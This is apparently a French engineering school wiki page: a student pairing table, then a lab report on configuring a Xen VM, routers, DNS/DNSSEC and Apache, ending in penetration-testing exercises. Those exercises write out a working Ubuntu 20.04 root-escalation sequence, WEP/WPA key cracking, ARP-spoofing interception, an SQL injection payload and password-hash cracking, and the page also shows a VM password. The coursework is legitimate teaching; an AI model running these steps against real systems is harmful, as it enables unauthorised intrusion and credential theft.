Wiki d'activités IMA - Contributions de l’utilisateur [fr]

PeiP enseignement spécialité SE 2021/2022

2021-11-26T17:51:21Z

Jsoulaim :

== Répartition des binômes ==

Attention nous disposons d'un nombre limité de micro-contrôleurs de chaque type :
* 12 ATTiny85 (paquetage SO) ;
* 20 ATMega16u2 (paquetage TQFP).
Pour les horloges des ATMega16u2 nous avons :
* 15 quartz FA238 ;
* 10 quartz d'empreinte HC-49/S.
Vous devez donc vous répartir les types de cartes de façon à ce que tout le monde puisse avoir du matériel.

{| class="wikitable"
! Cahier !! Elèves !! Type carte
|-
| [[ Enseignement de spécialité SE 2021/2022 Exemple | Cahier n°0]]
| Ne pas utiliser, exemple
|
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B1 | Groupe 1 / Cahier n°1]]
| Noel Alexis, Morchipont Charlène
| ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B2 | Groupe 1 / Cahier n°2]]
| CLOTTES Simon, CHEVALIER Juliette
| ATTiny85
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B3 | Groupe 1 / Cahier n°3]]
| CHAUVELIERE Martin, FONTAINE Matthieu
| ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B4 | Groupe 1 / Cahier n°4]]
| DUHR Romain, TAMRABET Tariq
| ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B5 | Groupe 1 / Cahier n°5]]
| SIMON Antoine, QUIQUE Paul
| ATTiny85
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B6 | Groupe 1 / Cahier n°6]]
| ROUSSEL Thomas, CHACHIGNOT Titouan
| ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B7 | Groupe 1 / Cahier n°7]]
| CZERYBA--DUEZ Louis, DAHMANI Jibril
| ATTiny85
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B8 | Groupe 1 / Cahier n°8]]
| DRICI Othman, Cruchet Simon
| ATTiny85
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B9 | Groupe 1 / Cahier n°9]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B10 | Groupe 1 / Cahier n°10]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B11 | Groupe 1 / Cahier n°11]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 1 / B12 | Groupe 1 / Cahier n°12]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B1 | Groupe 2 / Cahier n°1]]
| DERYCKERE Louis, LAIGLE Margaux
| ATTiny85
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B2 | Groupe 2 / Cahier n°2]]
| DELAUNOY Tanguy, FERRAND Louis
| ATTiny85
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B3 | Groupe 2 / Cahier n°3]]
| MARTIN Amandine, MENUGE Clément
| ATTiny85
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B4 | Groupe 2 / Cahier n°4]]
| CROCHEMORE Arthur, BARON Romain
| ATTiny85
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B5 | Groupe 2 / Cahier n°5]]
| ELHAOUITTI Aya, DUTILLY Anthony
| ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B6 | Groupe 2 / Cahier n°6]]
| Joly Maxime, Guendouz Yastene
| ATTiny85
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B7 | Groupe 2 / Cahier n°7]]
| Akan Hanaa, Benaissa Djibril
| ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B8 | Groupe 2 / Cahier n°8]]
| DAMASE Tom, GEST Matthieu
| ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B9 | Groupe 2 / Cahier n°9]]
| Benard Simon, Pottier Eliot
| ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B10 | Groupe 2 / Cahier n°10]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B11 | Groupe 2 / Cahier n°11]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 2 / B12 | Groupe 2 / Cahier n°12]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B1 | Groupe 3 / Cahier n°1]]
| Verstrepen Mathis, Wielgosz Vincent
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B2 | Groupe 3 / Cahier n°2]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B3 | Groupe 3 / Cahier n°3]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B4 | Groupe 3 / Cahier n°4]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B5 | Groupe 3 / Cahier n°5]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B6 | Groupe 3 / Cahier n°6]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B7 | Groupe 3 / Cahier n°7]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B8 | Groupe 3 / Cahier n°8]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B9 | Groupe 3 / Cahier n°9]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B10 | Groupe 3 / Cahier n°10]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B11 | Groupe 3 / Cahier n°11]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
| [[ Enseignement de spécialité SE 2021/2022 Groupe 3 / B12 | Groupe 3 / Cahier n°12]]
| Nom Prénom, Nom Prénom
| ATTiny84 / ATTiny85 / ATMega16u2_FA238 / ATMega16u2_HC49S
|-
|}

TP sysres IMA5sc 2020/2021 G8

2020-12-18T12:14:59Z

Jsoulaim : /* Serveur DNS */

=Informations générales=

{| class="wikitable"
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6
|-
| https://www.piedbleu.site
| 193.48.57.181
| 100.64.0.21
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
| 10.60.108.254
| 2001:660:4401:60ba::0/64
|}

=Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :

xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :

xl create -c /etc/xen/piedbleu.cfg

Par la suite, pour accéder à la VM, on fera :

xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a

puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=Interconnexion de VLAN=

==Configuration IPv4==

Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.

'''Routeur C9200'''

Nous nous connectons en ssh à partir de notre VM:
ssh admin@10.60.100.2

ensuite :
int vlan 308
vrrp 48 address-family ipv4
address 10.60.108.254
preempt
vrrpv2
end
write

On quitte avec exit et on sauvegarde avec write.

La commande show vlan nous affiche bien notre VLAN configuré.

'''Routeur 6509-E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

int vlan 308
vrrp 48 ip 10.60.108.254
vrrp 48 preempt
vrrp 48 priority 110
end
write

On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.

==Configuration IPv6==

'''Routeur 6509-E'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference High
end
write

'''Routeur C9200'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference Low
end
write

=Services Internet=
==Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, on fait un ssh sur les 2 routeurs, puis:

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

ping google.fr

==Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

service ssh start

Puis sur un autre terminal, on fait un :

ssh root@193.48.57.181

==Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

'''1ère étape: '''

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).

'''2ème étape:'''
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).

'''3ème étape:'''
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

Résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce répertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==Sécurisation du serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

==IPv6==

Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site

ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c
www IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c

Ensuite, on resigne le DNS :

dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Et on redémarre bind9.

=Tests d’intrusion=

==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

sudo adduser u1
su u1
id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.

nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !

whoami
pwn
id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles :

airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

airmon-ng start wlp1s0mon

On peut ensuite lancer le scan des réseaux wifi environnants :

airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé (message « Key Found »).

==Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:

airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):

crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par force brute avec la commande suivante :

aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap

Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-6.png|600px]]

==Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John the Ripper nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :

[[Fichier:Hack-honey.png|600px]]

=Réalisations=

==Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions virtuelles :

